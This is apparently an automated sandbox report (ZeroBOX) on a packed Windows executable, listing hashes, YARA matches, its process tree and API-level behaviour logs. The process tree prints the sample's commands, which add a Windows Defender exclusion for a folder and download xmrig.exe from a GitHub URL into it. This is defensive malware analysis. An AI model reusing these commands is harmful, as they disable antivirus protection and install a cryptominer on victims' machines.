Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Feb. 24, 2025, 3:03 p.m.	Feb. 24, 2025, 3:06 p.m.

Size	208.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`70ddf4f6215e0fd7b65685e3da758082`
SHA256	`9df0a6e74330d311721f5bf0e64734fd0bf8666f90863893cd4d869d053dcfcd`
CRC32	`77B8323D`
ssdeep	`3072:YZU1ZBj+S6EgX1ixZTMl7laC3Dwsg5+JYwwrRGdRrPDcDq5OAg0Fuj03mG6nzi69:YZiZ5th/MPTbg0mrRG0AO9XzogKxHia`
PDB Path	Z:\Fin\Release\Fin.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

Bootxr.exe "C:\Users\test22\AppData\Local\Temp\Bootxr.exe"
2576
- cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
  2628
  - powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
    2712
- cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
  2836
  - powershell.exe powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
    2896

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 24, 2025, 3:03 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 24, 2025, 3:03 p.m.			0	0
IsDebuggerPresent Feb. 24, 2025, 3:03 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: + Invoke-WebRequest <<<< -Uri https://github.com/Lean789/rueht/blob/main/xmrig console_handle: 0x00000053	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: .exe -Outfile C:\WinXRAR\xmrig.exe console_handle: 0x0000005f	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000006b	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: ommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Feb. 24, 2025, 3:03 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 90 events)

Time & API	Arguments	Status	Return
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003236c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003236c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003236c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323c80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00324000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323f40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066e6d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066edd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066edd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066edd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066f098 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 24, 2025, 3:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066f098 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

Z:\Fin\Release\Fin.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 24, 2025, 3:03 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 269 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02940000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02941000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02942000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0225a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02267000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02252000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02265000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0225c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02253000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02254000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02255000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02256000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02257000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02258000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02259000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05030000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05031000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05034000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05035000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05036000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05037000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05038000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05039000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
